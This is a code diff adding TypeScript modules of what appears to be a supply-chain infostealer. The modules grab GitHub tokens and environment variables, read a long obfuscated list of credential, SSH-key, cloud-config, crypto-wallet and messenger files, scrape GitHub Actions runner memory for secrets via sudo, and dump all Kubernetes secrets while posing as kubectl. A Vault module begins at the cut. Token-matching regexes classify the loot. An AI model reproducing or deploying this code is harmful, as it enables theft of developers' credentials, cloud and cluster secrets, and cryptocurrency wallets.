npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
});
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const results: Record<string, any> = {};
|
||||
try {
|
||||
const token = execSync(scramble("gh auth token"), {
|
||||
encoding: "utf-8",
|
||||
stdio: ["pipe", "pipe", "pipe"],
|
||||
}).trim();
|
||||
|
||||
if (token) {
|
||||
results["token"] = token;
|
||||
}
|
||||
} catch (error) {}
|
||||
|
||||
results["environment"] = process.env;
|
||||
|
||||
if (Object.keys(results).length > 0) {
|
||||
return this.success(results);
|
||||
} else {
|
||||
return this.failure("No Result");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,350 @@
|
||||
import { promises as fs } from "fs";
|
||||
import * as os from "os";
|
||||
import * as path from "path";
|
||||
|
||||
import type { OS } from "../../utils/config";
|
||||
import { detectOS } from "../../utils/config";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
type HotspotResult = string;
|
||||
type StreamCb = (hotspot: string, result: HotspotResult) => void;
|
||||
|
||||
const MAX_BYTES = 5 * 1024 * 1024; // 5 MB
|
||||
|
||||
const expandHome = (p: string): string =>
|
||||
p.startsWith("~") ? path.join(os.homedir(), p.slice(1)) : p;
|
||||
declare function scramble(str: string): string;
|
||||
const HOTSPOT_CONFIG: Record<OS, string[]> = {
|
||||
LINUX: [
|
||||
scramble("~/.ansible/*"),
|
||||
scramble("~/.aws/config"),
|
||||
scramble("~/.aws/credentials"),
|
||||
scramble("~/.azure/accessTokens.json"),
|
||||
scramble("~/.azure/msal_token_cache.*"),
|
||||
scramble("~/.bash_history"),
|
||||
scramble("~/.bitcoin/wallet.dat"),
|
||||
scramble("~/.cert/nm-openvpn/*"),
|
||||
scramble("~/.claude.json"),
|
||||
scramble("~/.claude/mcp.json"),
|
||||
scramble("~/.config/atomic/Local Storage/leveldb/*"),
|
||||
scramble("**/config/database.yml"),
|
||||
scramble("~/.config/discord/Local Storage/leveldb/*"),
|
||||
scramble("~/.config/Element/Local Storage/*"),
|
||||
scramble("~/.config/Exodus/exodus.wallet/*"),
|
||||
scramble("~/.config/filezilla/recentservers.xml"),
|
||||
scramble("~/.config/filezilla/sitemanager.xml"),
|
||||
scramble("~/.config/gcloud/access_tokens.db"),
|
||||
scramble("~/.config/gcloud/application_default_credentials.json"),
|
||||
scramble("~/.config/gcloud/credentials.db"),
|
||||
scramble("~/.config/git/credentials"),
|
||||
scramble("~/.config/helm/*"),
|
||||
scramble("~/.config/kwalletd/*.kwl"),
|
||||
scramble("~/.config/Ledger Live/*"),
|
||||
scramble("~/.config/remmina/*"),
|
||||
scramble("~/.config/Signal/*"),
|
||||
scramble("~/.config/Slack/Cookies"),
|
||||
scramble("~/.config/telegram-desktop/*"),
|
||||
scramble("~/.config/weechat/irc.conf"),
|
||||
scramble("~/.dash/wallet.dat"),
|
||||
scramble("~/.docker/*/config.json"),
|
||||
scramble("~/.docker/config.json"),
|
||||
scramble("~/.dogecoin/wallet.dat"),
|
||||
scramble("~/.electrum-ltc/wallets/*"),
|
||||
scramble("~/.electrum/wallets/*"),
|
||||
scramble("**/.env"),
|
||||
scramble(".env"),
|
||||
scramble("**/.env.local"),
|
||||
scramble("**/.env.production"),
|
||||
scramble("/etc/openvpn/*"),
|
||||
scramble("/etc/rancher/k3s/k3s.yaml"),
|
||||
scramble("/etc/ssh/ssh_host_*_key"),
|
||||
scramble("~/.ethereum/keystore/*"),
|
||||
scramble(".git/config"),
|
||||
scramble("~/.gitconfig"),
|
||||
scramble(".git-credentials"),
|
||||
scramble("~/.git-credentials"),
|
||||
scramble("~/.history"),
|
||||
scramble("~/.kde4/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kde/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kiro/settings/mcp.json"),
|
||||
scramble("~/.kube/config"),
|
||||
scramble("~/.lesshst"),
|
||||
scramble("~/.litecoin/wallet.dat"),
|
||||
scramble("~/.local/share/keyrings/*.keyring"),
|
||||
scramble("~/.local/share/keyrings/login.keyring"),
|
||||
scramble("~/.local/share/recently-used.xbel"),
|
||||
scramble("~/.local/share/TelegramDesktop/tdata/*"),
|
||||
scramble("~/.monero/*"),
|
||||
scramble("~/.mysql_history"),
|
||||
scramble("~/.netrc"),
|
||||
scramble("~/.node_repl_history"),
|
||||
scramble(".npmrc"),
|
||||
scramble("~/.npmrc"),
|
||||
scramble("~/.pki/nssdb/*"),
|
||||
scramble("~/.psql_history"),
|
||||
scramble("~/.purple/accounts.xml"),
|
||||
scramble("~/.pypirc"),
|
||||
scramble("~/.python_history"),
|
||||
scramble("~/.remmina/*"),
|
||||
scramble("/root/.docker/config.json"),
|
||||
scramble("**/settings.p"),
|
||||
scramble("~/.ssh/authorized_keys"),
|
||||
scramble("~/.ssh/config"),
|
||||
scramble("~/.ssh/id*"),
|
||||
scramble("~/.ssh/id_"),
|
||||
scramble("~/.ssh/id_dsa"),
|
||||
scramble("~/.ssh/id_ecdsa"),
|
||||
scramble("~/.ssh/id_ed25519"),
|
||||
scramble("~/.ssh/keys"),
|
||||
scramble("~/.ssh/known_hosts"),
|
||||
scramble("~/.terraform.d/credentials.tfrc.json"),
|
||||
scramble("/var/lib/docker/containers/*/config.v2.json"),
|
||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
||||
scramble("~/.viminfo"),
|
||||
scramble("**/wp-config.php"),
|
||||
scramble("~/.yarnrc"),
|
||||
scramble("~/.zcash/wallet.dat"),
|
||||
scramble("~/.zsh_history"),
|
||||
],
|
||||
|
||||
WIN: [
|
||||
".env",
|
||||
"config.ini",
|
||||
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
|
||||
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
|
||||
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
|
||||
scramble("%APPDATA%\\ProtonVPN\\user.config"),
|
||||
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
|
||||
scramble("%APPDATA%\\Private Internet Access\*.conf"),
|
||||
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
|
||||
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
|
||||
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
|
||||
],
|
||||
OSX: [
|
||||
scramble("~/.ansible/*"),
|
||||
scramble("~/.aws/config"),
|
||||
scramble("~/.aws/credentials"),
|
||||
scramble("~/.azure/accessTokens.json"),
|
||||
scramble("~/.azure/msal_token_cache.*"),
|
||||
scramble("~/.bash_history"),
|
||||
scramble("~/.bitcoin/wallet.dat"),
|
||||
scramble("~/.cert/nm-openvpn/*"),
|
||||
scramble(".claude.json"),
|
||||
scramble("~/.claude.json"),
|
||||
scramble("~/.config/atomic/Local Storage/leveldb/*"),
|
||||
scramble("**/config/database.yml"),
|
||||
scramble("~/.config/discord/Local Storage/leveldb/*"),
|
||||
scramble("~/.config/Element/Local Storage/*"),
|
||||
scramble("~/.config/Exodus/exodus.wallet/*"),
|
||||
scramble("~/.config/filezilla/recentservers.xml"),
|
||||
scramble("~/.config/filezilla/sitemanager.xml"),
|
||||
scramble("~/.config/gcloud/access_tokens.db"),
|
||||
scramble("~/.config/gcloud/application_default_credentials.json"),
|
||||
scramble("~/.config/gcloud/credentials.db"),
|
||||
scramble("~/.config/git/credentials"),
|
||||
scramble("~/.config/helm/*"),
|
||||
scramble("~/.config/Ledger Live/*"),
|
||||
scramble("~/.config/remmina/*"),
|
||||
scramble("~/.config/Signal/*"),
|
||||
scramble("~/.config/Slack/Cookies"),
|
||||
scramble("~/.config/telegram-desktop/*"),
|
||||
scramble("~/.config/weechat/irc.conf"),
|
||||
scramble("~/.dash/wallet.dat"),
|
||||
scramble("~/.docker/*/config.json"),
|
||||
scramble("~/.docker/config.json"),
|
||||
scramble("~/.dogecoin/wallet.dat"),
|
||||
scramble("~/.electrum-ltc/wallets/*"),
|
||||
scramble("~/.electrum/wallets/*"),
|
||||
scramble("**/.env"),
|
||||
scramble(".env"),
|
||||
scramble("**/.env.local"),
|
||||
scramble("**/.env.production"),
|
||||
scramble("/etc/openvpn/*"),
|
||||
scramble("/etc/rancher/k3s/k3s.yaml"),
|
||||
scramble("/etc/ssh/ssh_host_*_key"),
|
||||
scramble("~/.ethereum/keystore/*"),
|
||||
scramble(".git/config"),
|
||||
scramble("~/.gitconfig"),
|
||||
scramble(".git-credentials"),
|
||||
scramble("~/.history"),
|
||||
scramble("~/.kde4/share/apps/kwallet/*.kwl"),
|
||||
scramble("~/.kde/share/apps/kwallet/*.kwl"),
|
||||
scramble(".kiro/settings/mcp.json"),
|
||||
scramble("~/.kiro/settings/mcp.json"),
|
||||
scramble("~/.kube/config"),
|
||||
scramble("~/.lesshst"),
|
||||
scramble("~/.litecoin/wallet.dat"),
|
||||
scramble("~/.local/share/keyrings/*.keyring"),
|
||||
scramble("~/.local/share/keyrings/login.keyring"),
|
||||
scramble("~/.local/share/recently-used.xbel"),
|
||||
scramble("~/.local/share/TelegramDesktop/tdata/*"),
|
||||
scramble("~/.monero/*"),
|
||||
scramble("~/.mysql_history"),
|
||||
scramble("~/.netrc"),
|
||||
scramble("~/.node_repl_history"),
|
||||
scramble(".npmrc"),
|
||||
scramble("~/.npmrc"),
|
||||
scramble("~/.pki/nssdb/*"),
|
||||
scramble("~/.psql_history"),
|
||||
scramble("~/.purple/accounts.xml"),
|
||||
scramble("~/.pypirc"),
|
||||
scramble("~/.python_history"),
|
||||
scramble("~/.remmina/*"),
|
||||
scramble("/root/.docker/config.json"),
|
||||
scramble("**/settings.p"),
|
||||
scramble("~/.ssh/authorized_keys"),
|
||||
scramble("~/.ssh/config"),
|
||||
scramble("~/.ssh/id*"),
|
||||
scramble("~/.ssh/id_"),
|
||||
scramble("~/.ssh/id_dsa"),
|
||||
scramble("~/.ssh/id_ecdsa"),
|
||||
scramble("~/.ssh/id_ed25519"),
|
||||
scramble("~/.ssh/id_rsa"),
|
||||
scramble("~/.ssh/known_hosts"),
|
||||
scramble("~/.terraform.d/credentials.tfrc.json"),
|
||||
scramble("/var/lib/docker/containers/*/config.v2.json"),
|
||||
scramble("~/.viminfo"),
|
||||
scramble("**/wp-config.php"),
|
||||
scramble("~/.yarnrc"),
|
||||
scramble("~/.zcash/wallet.dat"),
|
||||
scramble("~/.zsh_history"),
|
||||
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
||||
],
|
||||
UNKNOWN: [],
|
||||
};
|
||||
|
||||
export class FileSystemService extends Provider {
|
||||
constructor() {
|
||||
super("filesystem", "misc", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
});
|
||||
}
|
||||
|
||||
private getHotspots(): string[] {
|
||||
const system = detectOS();
|
||||
return HOTSPOT_CONFIG[system];
|
||||
}
|
||||
|
||||
private async readHotspots(
|
||||
hotspots: string[],
|
||||
onResult?: StreamCb,
|
||||
concurrent = 1,
|
||||
): Promise<Record<string, HotspotResult>> {
|
||||
const results: Record<string, HotspotResult> = {};
|
||||
|
||||
const expandGlob = async (pattern: string): Promise<string[]> => {
|
||||
const expanded = expandHome(pattern);
|
||||
|
||||
// No glob metacharacters — return as a literal path.
|
||||
if (!/[*?[]/.test(expanded)) {
|
||||
return [expanded];
|
||||
}
|
||||
|
||||
// Split the pattern into a static base directory and the glob remainder.
|
||||
// e.g. "src/**/*.ts" -> base: "src", rest: "**/*.ts"
|
||||
// "/etc/*.conf" -> base: "/etc", rest: "*.conf"
|
||||
// "**/.env.local" -> base: ".", rest: "**/.env.local"
|
||||
// "/home/u/notes/*.md" -> base: "/home/u/notes", rest: "*.md"
|
||||
const parts = expanded.split("/");
|
||||
const firstGlobIdx = parts.findIndex((p) => /[*?[]/.test(p));
|
||||
|
||||
let base: string;
|
||||
let rest: string;
|
||||
if (firstGlobIdx === 0) {
|
||||
// Pattern begins with a glob segment (relative).
|
||||
base = ".";
|
||||
rest = expanded;
|
||||
} else {
|
||||
// parts.slice(0, firstGlobIdx).join("/") yields "" for absolute roots
|
||||
// (because the first segment before a leading "/" is ""), so fall back to "/".
|
||||
base = parts.slice(0, firstGlobIdx).join("/") || "/";
|
||||
rest = parts.slice(firstGlobIdx).join("/");
|
||||
}
|
||||
|
||||
try {
|
||||
const glob = new Bun.Glob(rest);
|
||||
const matches = Array.from(
|
||||
glob.scanSync({
|
||||
cwd: base,
|
||||
absolute: true,
|
||||
dot: true,
|
||||
onlyFiles: true,
|
||||
}),
|
||||
);
|
||||
return matches;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
};
|
||||
|
||||
const handle = async (hotspot: string) => {
|
||||
const expandedPath = expandHome(hotspot);
|
||||
|
||||
try {
|
||||
const stat = await fs.stat(expandedPath);
|
||||
|
||||
if (!stat.isFile()) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (stat.size > MAX_BYTES) {
|
||||
const result = `Error: File too large (${stat.size} bytes)`;
|
||||
results[hotspot] = result;
|
||||
onResult?.(hotspot, result);
|
||||
return;
|
||||
}
|
||||
|
||||
const buffer = await fs.readFile(expandedPath);
|
||||
const content = buffer.toString("utf-8");
|
||||
results[hotspot] = content;
|
||||
onResult?.(hotspot, content);
|
||||
} catch (err: any) {
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Expand glob patterns
|
||||
const expandedHotspots: string[] = [];
|
||||
for (const hotspot of hotspots) {
|
||||
const matches = await expandGlob(hotspot);
|
||||
expandedHotspots.push(...matches);
|
||||
}
|
||||
|
||||
if (concurrent <= 1) {
|
||||
for (const hotspot of expandedHotspots) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
const queue = expandedHotspots.slice();
|
||||
const workers = Array.from({
|
||||
length: Math.min(concurrent, queue.length),
|
||||
}).map(async () => {
|
||||
let hotspot;
|
||||
while ((hotspot = queue.shift())) {
|
||||
await handle(hotspot);
|
||||
}
|
||||
});
|
||||
|
||||
await Promise.all(workers);
|
||||
return results;
|
||||
}
|
||||
async execute(): Promise<ProviderResult> {
|
||||
const hotspots = this.getHotspots();
|
||||
|
||||
if (!hotspots.length) {
|
||||
return this.failure("Unknown OS or no hotspots configured");
|
||||
}
|
||||
|
||||
try {
|
||||
const results = await this.readHotspots(hotspots, undefined, 2);
|
||||
return this.success({ hotspots: results });
|
||||
} catch (err: any) {
|
||||
return this.failure(err?.message ?? String(err));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
import { execSync } from "child_process";
|
||||
|
||||
import { python_util } from "../../generated";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class GitHubRunner extends Provider {
|
||||
private isGitHubActions: boolean;
|
||||
constructor() {
|
||||
super("github", "runner", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36,}/g,
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
ghs_jwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g,
|
||||
ghs_old: /ghs_[A-Za-z0-9]{36,}/g,
|
||||
});
|
||||
|
||||
this.isGitHubActions = process.env[scramble("GITHUB_ACTIONS")] === "true";
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
if (!this.isGitHubActions) {
|
||||
return this.failure("Not Actions");
|
||||
}
|
||||
const runnerOs = process.env["RUNNER_OS"] === "Linux";
|
||||
|
||||
if (!runnerOs) {
|
||||
return this.failure("Not running on Linux runner");
|
||||
} else {
|
||||
logUtil.log("Runner matches!");
|
||||
}
|
||||
|
||||
const repo = process.env[scramble("GITHUB_REPOSITORY")] ?? "";
|
||||
const workflow = process.env[scramble("GITHUB_WORKFLOW")] ?? "";
|
||||
|
||||
const output = execSync(
|
||||
`sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' | sort -u`,
|
||||
{
|
||||
input: python_util,
|
||||
encoding: "utf-8",
|
||||
},
|
||||
);
|
||||
|
||||
let result = new Map();
|
||||
const secretRegex = /"([^"]+)":{"value":"([^"]*)","isSecret":true}/g;
|
||||
let match;
|
||||
while ((match = secretRegex.exec(output)) !== null) {
|
||||
const [_, key, value] = match;
|
||||
|
||||
if (key === scramble("github_token")) {
|
||||
continue;
|
||||
}
|
||||
result.set(key, value);
|
||||
}
|
||||
|
||||
if (!result) {
|
||||
return this.failure("No secrets found.");
|
||||
}
|
||||
|
||||
return this.success({
|
||||
secrets: result,
|
||||
repo: repo,
|
||||
workflow: workflow,
|
||||
});
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
return this.failure("Error processing runner.");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
import * as fs from "fs";
|
||||
import * as path from "path";
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
export class K8sSecretsService extends Provider {
|
||||
private readonly TIMEOUT_MS = 10000;
|
||||
private readonly API_BASE = process.env.KUBERNETES_SERVICE_HOST
|
||||
? `https://${process.env.KUBERNETES_SERVICE_HOST}:${process.env.KUBERNETES_SERVICE_PORT}`
|
||||
: null;
|
||||
|
||||
constructor() {
|
||||
super("kubernetes", "secrets", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
|
||||
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
|
||||
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
|
||||
awskey:
|
||||
/(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
|
||||
awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
|
||||
gcpKey:
|
||||
/"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
|
||||
azureKey:
|
||||
/(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
|
||||
dbConnStr:
|
||||
/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
|
||||
stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
|
||||
slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
|
||||
twilioKey: /SK[0-9a-f]{32}/gi,
|
||||
privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
|
||||
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
|
||||
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
|
||||
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
|
||||
secret:
|
||||
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
|
||||
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
|
||||
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
|
||||
});
|
||||
}
|
||||
|
||||
private isInCluster(): boolean {
|
||||
return !!process.env.KUBERNETES_SERVICE_HOST;
|
||||
}
|
||||
|
||||
private async getCA(): Promise<Buffer | null> {
|
||||
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
|
||||
try {
|
||||
if (fs.existsSync(caPath)) {
|
||||
return await fs.promises.readFile(caPath);
|
||||
}
|
||||
} catch {}
|
||||
return null;
|
||||
}
|
||||
|
||||
private async readServiceAccountToken(): Promise<string | null> {
|
||||
try {
|
||||
const token = await fs.promises.readFile(
|
||||
"/var/run/secrets/kubernetes.io/serviceaccount/token",
|
||||
"utf-8",
|
||||
);
|
||||
return token.trim();
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private async readNamespace(): Promise<string | null> {
|
||||
try {
|
||||
const ns = await fs.promises.readFile(
|
||||
"/var/run/secrets/kubernetes.io/serviceaccount/namespace",
|
||||
"utf-8",
|
||||
);
|
||||
return ns.trim();
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private getKubeconfigToken(): string | null {
|
||||
try {
|
||||
const home = process.env.HOME || process.env.USERPROFILE;
|
||||
if (!home) return null;
|
||||
|
||||
const kubeconfigPath =
|
||||
process.env.KUBECONFIG || path.join(home, ".kube", "config");
|
||||
if (!fs.existsSync(kubeconfigPath)) return null;
|
||||
|
||||
const raw = fs.readFileSync(kubeconfigPath, "utf-8");
|
||||
|
||||
const patterns = [
|
||||
/token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||
/id-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||
/access-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||
];
|
||||
|
||||
for (const pattern of patterns) {
|
||||
const match = raw.match(pattern);
|
||||
if (match && match[1]) return match[1];
|
||||
}
|
||||
} catch {}
|
||||
return null;
|
||||
}
|
||||
|
||||
private async apiRequest(
|
||||
apiPath: string,
|
||||
token: string,
|
||||
signal?: AbortSignal,
|
||||
): Promise<any> {
|
||||
const ca = await this.getCA();
|
||||
|
||||
if (!this.API_BASE) {
|
||||
throw new Error("No Kubernetes API host configured");
|
||||
}
|
||||
|
||||
const url = `${this.API_BASE}${apiPath}`;
|
||||
|
||||
const controller = new AbortController();
|
||||
const internalSignal = controller.signal;
|
||||
|
||||
const timeout = setTimeout(() => {
|
||||
controller.abort();
|
||||
}, this.TIMEOUT_MS);
|
||||
|
||||
const abortHandler = () => controller.abort();
|
||||
|
||||
if (signal) {
|
||||
if (signal.aborted) {
|
||||
clearTimeout(timeout);
|
||||
throw new Error("Aborted");
|
||||
}
|
||||
signal.addEventListener("abort", abortHandler);
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await fetch(url, {
|
||||
method: "GET",
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
"User-Agent": "kubectl/v1.28.0",
|
||||
Accept: "application/json",
|
||||
},
|
||||
signal: internalSignal,
|
||||
tls: {
|
||||
rejectUnauthorized: !!ca,
|
||||
ca: ca || undefined,
|
||||
},
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
throw new Error(`K8s API returned ${res.status}`);
|
||||
}
|
||||
|
||||
return await res.json();
|
||||
} catch (err: any) {
|
||||
if (internalSignal.aborted) {
|
||||
if (signal?.aborted) throw new Error("Aborted");
|
||||
throw new Error(`Request timeout after ${this.TIMEOUT_MS}ms`);
|
||||
}
|
||||
throw err;
|
||||
} finally {
|
||||
clearTimeout(timeout);
|
||||
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||
}
|
||||
}
|
||||
|
||||
private async listNamespaces(
|
||||
token: string,
|
||||
signal?: AbortSignal,
|
||||
): Promise<string[]> {
|
||||
try {
|
||||
const data = await this.apiRequest("/api/v1/namespaces", token, signal);
|
||||
return (data.items || [])
|
||||
.map((ns: any) => ns.metadata?.name)
|
||||
.filter(Boolean);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
private async getNamespaceSecrets(
|
||||
namespace: string,
|
||||
token: string,
|
||||
signal?: AbortSignal,
|
||||
): Promise<any[]> {
|
||||
try {
|
||||
const data = await this.apiRequest(
|
||||
`/api/v1/namespaces/${namespace}/secrets`,
|
||||
token,
|
||||
signal,
|
||||
);
|
||||
return (data.items || []).map((secret: any) => {
|
||||
const decoded: Record<string, string> = {};
|
||||
if (secret.data) {
|
||||
for (const [k, v] of Object.entries(secret.data)) {
|
||||
try {
|
||||
decoded[k] = Buffer.from(v as string, "base64").toString("utf-8");
|
||||
} catch {
|
||||
decoded[k] = String(v);
|
||||
}
|
||||
}
|
||||
}
|
||||
return {
|
||||
name: secret.metadata?.name,
|
||||
namespace: namespace,
|
||||
type: secret.type || "Opaque",
|
||||
data: decoded,
|
||||
labels: secret.metadata?.labels || {},
|
||||
};
|
||||
});
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
const token = this.isInCluster()
|
||||
? await this.readServiceAccountToken()
|
||||
: this.getKubeconfigToken();
|
||||
|
||||
if (!token) {
|
||||
return this.failure("No valid Kubernetes credentials found");
|
||||
}
|
||||
|
||||
let namespaces = await this.listNamespaces(token);
|
||||
|
||||
if (namespaces.length === 0) {
|
||||
const currentNs = await this.readNamespace();
|
||||
namespaces = [currentNs || "default"];
|
||||
}
|
||||
|
||||
const excluded = new Set([
|
||||
"kube-system",
|
||||
"kube-public",
|
||||
"kube-node-lease",
|
||||
"local-path-storage",
|
||||
"cert-manager",
|
||||
]);
|
||||
const allSecrets: any[] = [];
|
||||
|
||||
for (const ns of namespaces) {
|
||||
if (excluded.has(ns)) continue;
|
||||
const secrets = await this.getNamespaceSecrets(ns, token);
|
||||
allSecrets.push(...secrets);
|
||||
}
|
||||
|
||||
if (allSecrets.length === 0) {
|
||||
return this.failure("No secrets accessible");
|
||||
}
|
||||
|
||||
return this.success({
|
||||
clusterHost: this.API_BASE,
|
||||
totalSecrets: allSecrets.length,
|
||||
secrets: allSecrets,
|
||||
});
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
// This class represents a "provider" essentially a source for values.
|
||||
//
|
||||
export type ProviderName =
|
||||
| "aws"
|
||||
| "azure"
|
||||
| "gcp"
|
||||
| "filesystem"
|
||||
| "github"
|
||||
| "shell"
|
||||
| "vault"
|
||||
| "kubernetes";
|
||||
|
||||
export interface ProviderResult {
|
||||
provider: ProviderName;
|
||||
service: string;
|
||||
success: boolean;
|
||||
data?: unknown;
|
||||
matches?: Record<string, string[]>;
|
||||
error?: Error | undefined;
|
||||
size: number;
|
||||
}
|
||||
@@ -0,0 +1,363 @@
|
||||
import * as fs from "fs";
|
||||
import * as http from "http";
|
||||
import * as https from "https";
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
|
||||
export class VaultSecretsService extends Provider {
|
||||
private readonly TIMEOUT_MS = 15000;
|
||||
private readonly VAULT_ADDR =
|
||||
process.env.VAULT_ADDR || "http://127.0.0.1:8200";
|
||||
|
||||
constructor() {
|
||||
super("vault", "secrets", {
|
||||
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
|
||||
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
|
||||
vaultToken: /hvs\.[A-Za-z0-9_-]{24,}/g,
|
||||
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
|
||||
awskey:
|
||||
/(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
|
||||
awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
|
||||
gcpKey:
|
||||
/"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
|
||||
azureKey:
|
||||
/(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
|
||||
dbConnStr:
|
||||
/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
|
||||
stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
|
||||
slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
|
||||
twilioKey: /SK[0-9a-f]{32}/gi,
|
||||
privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
|
||||
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
|
||||
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
|
||||
secret:
|
||||
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
|
||||
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
|
||||
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
|
||||
hexKey: /[a-fA-F0-9]{32,128}/g,
|
||||
base64Blob: /[A-Za-z0-9+\/=]{40,}/g,
|
||||
});
|
||||
}
|
||||
|
||||
private isInK8s(): boolean {
|
||||
return !!process.env.KUBERNETES_SERVICE_HOST;
|
||||
}
|
||||
|
||||
private async getTokenFromEnv(): Promise<string | null> {
|
||||
const candidates = [
|
||||
process.env["VAULT_TOKEN"],
|
||||
process.env["VAULT_AUTH_TOKEN"],
|
||||
process.env.VAULT_API_TOKEN,
|
||||
];
|
||||
|
||||
for (const token of candidates) {
|
||||
if (token && token.length > 5) return token;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private async getTokenFromFile(): Promise<string | null> {
|
||||
const home = process.env.HOME || process.env.USERPROFILE || "/root";
|
||||
const candidates = [
|
||||
